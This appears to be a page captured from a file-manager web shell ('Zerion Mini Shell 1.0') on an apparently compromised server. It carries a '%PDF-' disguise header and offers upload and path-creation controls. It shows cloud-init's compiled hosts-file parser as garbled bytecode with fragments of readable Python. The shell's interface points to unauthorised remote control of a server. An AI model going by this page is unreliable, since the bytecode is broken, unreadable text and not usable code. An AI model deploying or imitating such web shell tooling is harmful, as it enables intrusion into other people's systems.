%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/distros/parsers/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/distros/parsers/__pycache__/hosts.cpython-312.pyc

�

���f�
��0�ddlmZddlmZGd�d�Zy)�)�StringIO)�chop_commentc�6�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	y)	�	HostsConfc� �||_d|_y�N)�_text�	_contents)�self�texts  �A/usr/lib/python3/dist-packages/cloudinit/distros/parsers/hosts.py�__init__zHostsConf.__init__s����
����c�^�|j�!|j|j�|_yyr)r
�_parser	)rs r
�parsezHostsConf.parses%���>�>�!�!�[�[����4�D�N�"rc��|j�g}|jD]9\}}|dk(s�|\}}t|�s�|d|k(s�&|j|dd��;|S)N�optionr�)rr
�len�append)r�ip�options�	line_type�
components�pieces�_tails       r
�	get_entryzHostsConf.get_entrysc���
�
����%)�^�^�	/�!�I�z��H�$�",�����v�;�6�!�9��?��N�N�6�!�"�:�.�		/�
�rc��|j�g}|jD]_\}}|dk7r|j||f��|\}}t|�r	|d|k(r�8t|�s�D|j|t	|�f��a||_y)Nrr)rr
rr�list)rr�	n_entriesrrrrs       r
�del_entrieszHostsConf.del_entries"s����
�
���	�%)�^�^�		D�!�I�z��H�$�� � �)�Z�!8�9��",�����v�;�6�!�9��?����[��$�$�i��j�1A�%B�C�		D�#��rc�~�|j�|jjd||gt|�zdff�y)Nr�)rr
rr )rr�canonical_hostname�aliasess    r
�	add_entryzHostsConf.add_entry1s9���
�
�������
��/�0�4��=�@�"�E�F�	
rc�R�g}|j�D]�}t|j��s|jd|gf��1t	|j�d�\}}t|�s|jd|gf��n|jd|jd�|gf���|S)N�blank�#�all_commentr)�
splitlinesr�striprr�split)r�contents�entries�line�head�tails      r
rzHostsConf._parse7s������'�'�)�	A�D��t�z�z�|�$�����$��0�1��'��
�
��c�:�L�T�4��t�9����
��v�6�7���N�N�H�t�z�z�$�'7��&>�?�@�	A��rc��|j�t�}|jD]�\}}|dk(r|jd|dz��#|dk(r|jd|dz��@|dk(s�F|\}}|D�cgc]
}t	|���}}dj|�}|j|�|�d����|j
�Scc}w)Nr)z%s
rr+r�	�
)rrr
�write�str�join�getvalue)rr/rrrr3�ps       r
�__str__zHostsConf.__str__Ds����
�
���:��%)�^�^�		:�!�I�z��G�#����v��A��7�8��m�+����v��A��7�8��h�&�!+����*0�1�Q�#�a�&�1��1����6�*�����6�4�8�9�		:�� � �"�"��2s�6CN)
�__name__�
__module__�__qualname__rrrr"r'rr<�rr
rrs%���5��
#�
��
#rrN)�ior�cloudinit.distros.parsersrrr@rr
�<module>rCs���2�B#�B#r

Zerion Mini Shell 1.0